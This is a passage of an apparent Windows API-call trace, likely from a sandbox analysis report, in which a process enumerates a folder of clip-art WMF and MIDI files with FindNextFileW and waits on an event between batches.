ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0255.805] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0255.806] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0255.806] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0255.807] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0255.807] ResetEvent (hEvent=0x118) returned 1 [0255.807] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.831] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0255.832] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0255.832] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0255.832] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0255.833] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0255.834] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0255.834] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0255.834] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0255.835] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0255.835] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0255.835] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0255.835] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0255.836] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0255.836] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0255.836] ResetEvent (hEvent=0x118) returned 1 [0255.836] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.841] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0255.841] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0255.841] ResetEvent (hEvent=0x118) returned 1 [0255.842] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.956] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0255.957] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0255.957] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0255.957] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0255.958] ResetEvent (hEvent=0x118) returned 1 [0255.958] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.980] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0255.980] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0255.981] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0255.981] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0255.982] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0255.982] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0255.982] ResetEvent (hEvent=0x118) returned 1 [0255.982] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.989] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0255.990] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0255.990] ResetEvent (hEvent=0x118) returned 1 [0255.990] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.993] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0255.993] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0255.994] ResetEvent (hEvent=0x118) returned 1 [0255.994] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0255.998] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0255.998] ResetEvent (hEvent=0x118) returned 1 [0255.998] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0256.137] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0256.138] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0256.138] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0256.138] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0256.139] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0256.139] ResetEvent (hEvent=0x118) returned 1 [0256.139] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0256.153] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0256.153] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0256.153] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0256.154] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0256.154] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: 